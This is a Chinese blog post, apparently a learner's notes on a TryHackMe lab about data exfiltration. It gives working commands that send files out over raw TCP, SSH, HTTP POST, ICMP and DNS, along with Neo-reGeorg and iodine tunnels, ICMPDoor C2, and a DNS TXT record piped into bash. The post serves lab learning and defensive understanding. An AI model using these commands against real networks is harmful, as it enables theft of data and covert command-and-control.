房间的网络拓扑

Data Exfiltration数据外泄有三种主要是使用案例:
传统数据外泄

数据单向移动,都从网络内部传输到外部,攻击者不关注服务器的回应,大多数为传统协议
C2通信
通信包括发送命令与接受结果,为躲避检测常使用非标准协议或加密通道
隧道通信

建立隧道来持续访问整个内网资源,保持长时间连接
TCP套接字仅在没有安全措施的网络环境下进行,因为非标准协议很容易被检测到
使用
nc的反弹shell就是这种
接下来没图,因为
jumpbox太卡了输不了命令1
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/ip/port
把
task4目录压缩为.tar.gz文件并输出到标准输出 (-),并将压缩数据做base64,再用dd工具将base64转码为EBCDIC编码,并将编码数据发送到指定地点对于收到的数据,使用
dd来解码,再用tar解压即可1
dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar
ssh
建立了加密通信通道
1
tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
双引号注明的命令是在
ssh连接后生效,即切换到/tmp并解压缩http使用
HTTP是很好的选择,即防守方难以区分非法与恶意的http流量。注意要使用POST而非GET,后者的所有参数会被记录到日志中,而前者请求不会被缓存,不会保留在浏览器历史记录中,不会被添加为书签,对数据长度没有限制
由图,带有文件参数的
GET请求会包含泄露的数据,而POST并不会在现实场景中,往往将数据发送到恶意服务器上,再登录该服务器以拿到数据
在本例中,以
web.thm.com作为恶意服务器,设置contact.php页面来处理数据,在跳板机上用curl来发送数据
其将数据压缩后存储到
/tmp下在连接到
victim1后用curl来传输:1
curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
但对于收到的数据,发现
base64损坏,原因是http传输时的url编码把+替换为空格
可以使用
sed来修复:1
sed -i 's/ /+/g' /tmp/http.bs64
-i原地编辑文件,s替换,/ /即匹配空格,/+/即替换为加号,g为全局匹配https避免数据明文传输的情况,也可以使用
http隧道技术封装其他协议并来回发送数据
将上传一个
http隧道代理文件到受害服务器uploader.thm.com,连接完成时可以尝试与app.thm.com通信使用
Neo-reGeorg1
python3 neoreg.py generate -k thm
生成一个加密的客户端文件,并在
http://MACHINE_IP/uploader来上传连接:
1
python3 neoreg.py -k thm -u http://MACHINE_IP/uploader/files/tunnel.php
随后可以使用
curl来访问app.thm.com的内部ip地址172.20.0.121:801
curl --socks5 127.0.0.1:1080 http://172.20.0.121:80
ICMPinternet控制消息协议。用于处理错误报告的网络层协议网络设备可以使用
ICMP来检测网络连通性,即ping,但该协议并非是设备间用于发送数据的传输协议ICMP数据报的结构包含了一个数据段Data section,该部分包含字符串或者其他信息,如表示错误消息的IPv4报头,如下:
而值得注意的是,数据字段是可选的,即可以将我们的数据包含在该数据段中并通过
ICMP发送到另一台在
linux中,ping可以使用-p参数来指定数据报发送十六进制的16字节数据1
ping MACHINE_IP -c 1 -p 74686d3a7472796861636b6d650a

但手动发送未免过于麻烦了,接下来使用
msf来做:其会捕获传入的
ICMP数据报并等待BOF文件开始值,接收到后执行写入操作直至接收到EOF文件结束值
1
2
3
4msf5 > use auxiliary/server/icmp_exfil
msf5 auxiliary(server/icmp_exfil) > set BPF_FILTER icmp and not src ATTACKBOX_IP
set INTERFACE eth0
runicmp表示只过滤该协议,not src ATTACKBOX_IP是过滤掉攻击机的ICMP包,这样使数据隧道只接受需要的ICMP回响包,过滤无关流量在
icmp-host上面使用nping工具:1
sudo nping --icmp -c 1 10.10.17.118 --data-string "BOFfile.txt"

使用
BOFfile.txt来指定文件开始触发值,该文件名可以在msf中更改1
2sudo nping --icmp -c 1 10.10.17.118 --data-string "admin-password"
sudo nping --icmp -c 1 10.10.17.118 --data-string "EOF"
ICMP C2接下来引入
ICMPDoor工具来处理命令执行中的数据传输在受害者
icmp-host上:1
icmpdoor -i eth0 -d [jump-box]
在攻击者
jump-box上:1
icmp-cnc -i eth1 -d [icmp-host]
最后拿到加密传输的命令执行 `shell

DNS配置配置好了所需的域名
tunnel.com,以及网页
需要为控制的域名设置一个名称服务器:
- 添加一条指向
Attackbox IP的A记录 添加一条
NS记录,其把DNS查询路由到上面的A记录

但这俩我设置显示未认证,只能用设置好的:


- 添加一条指向
DNS数据渗出尽管
DNS并非为了传输数据而设计的,但仍能通过该协议来移动数据正由于其并非传输协议,所以
DNS协议的使用情况大概率不会被监控,而且几乎所有防火墙都会允许使用,所以用DNS来隐藏通信更好但也存在限制:
- 全限定
FQDN域名最大长度为255字符 子域名长度最大为
63字符
所以只能使用有限数量的字符通过域名来传输数据,在传输大数据时会导致极多的
DNS请求,而产生明显的流量记录攻击步骤

- 一个由攻击者注册的域名,如
tunnel.com - 设置
tunnel.com的NS记录指向攻击者控制的服务器 - 将敏感数据传输到攻击者所控制的域名,如需要传输密码
password012,就请求password012.tunnel.com - 将这一
DNS请求通过本地DNS服务器发送至攻击者的恶意服务器 - 最后攻击者从
DNS请求的域名中提取密码
一个典型使用场景是在防火墙阻止和过滤所有流量时,使用
DNS来通过防火墙,此时最重要的时允许使用DNS且能将域名解析为IP- 一个由攻击者注册的域名,如
手动:

对敏感信息内容进行编码,并将结果作为子域名发送
attacker1
2ssh thm@attacker.thm.com
sudo tcpdump -i eth0 udp port 53 -v使用
tcpdump接受任何传入UDP/53的数据报来接受DNS请求victim21
2
3
4ssh thm@victim2.thm.com
cat task9/credit.txt
cat task9/credit.txt | base64
cat task9/credit.txt | base64 | tr -d "\n"| fold -w18 | sed -r 's/.*/&.att.tunnel.com/'
1
2
3
4
5
6
7
8
9
10
11cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/attacker.tunnel.com/ | awk '{print "dig +short " $1}' | bash
#1. awk '{******} 会对输入内容的每一行进行逐行处理
#- {******} 是处理动作
#- "dig +short " 打印字符串
#- 拼接当前行的第一个字段 $1,也就是域名
#- 这样awk的输出就是一系列dig命令
#2. | bash
#- 使用管道将awk的输出作为bash命令来执行
#3. 这样就实现了:
#- awk自动提取域名,构造dig命令
#- bash执行这些命令,实现域名解析

再用
echo解码1
echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d

- 全限定
基于
DNS的C2通信接下来将模拟用
DNS协议执行bash脚本,为此要为tunnel.com添加新的DNS记录随便找一个需要执行的
不恶意脚本:1
2#!/bin/bash
ping -c 1 test.thm.com首先将其转化为
base64:IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=随后将其作为
DNS记录添加到域名解析中:
使用这个来直接执行
1
2dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
# tr清理输出内容并删除内容中所有双引号,解码后传给/bin/bashDNS隧道 -TCP over DNS使用
DNS数据渗出将其他协议(如http)封装在DNS上,从而实现一个可以持续发送接受数据的通信通道
目标是在
网络1:172.20.0.0/24与网络2:192.168.0.0/24之间建立通信引入一个工具
iodine在攻击端
1
sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
该命令将创建一个新网络接口
dns010.1.1.1/24表示新网络接口dns0设置的网络IP,att.tunnel.com是预先设置好的名称服务器,其指向attacker.thm.com机器在受害者端
1
sudo iodine -P thmpass att.tunnel.com
于此完成隧道建设,可以在攻击端:
1
ssh thm@10.1.1.2 -4 -f -N -D 1080
进行端口转发
THM学习日寄23-Data Exfiltration
- 本文链接: http://noone40404.github.io/2024/11/17/THM学习日寄23:Data Exfiltration/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!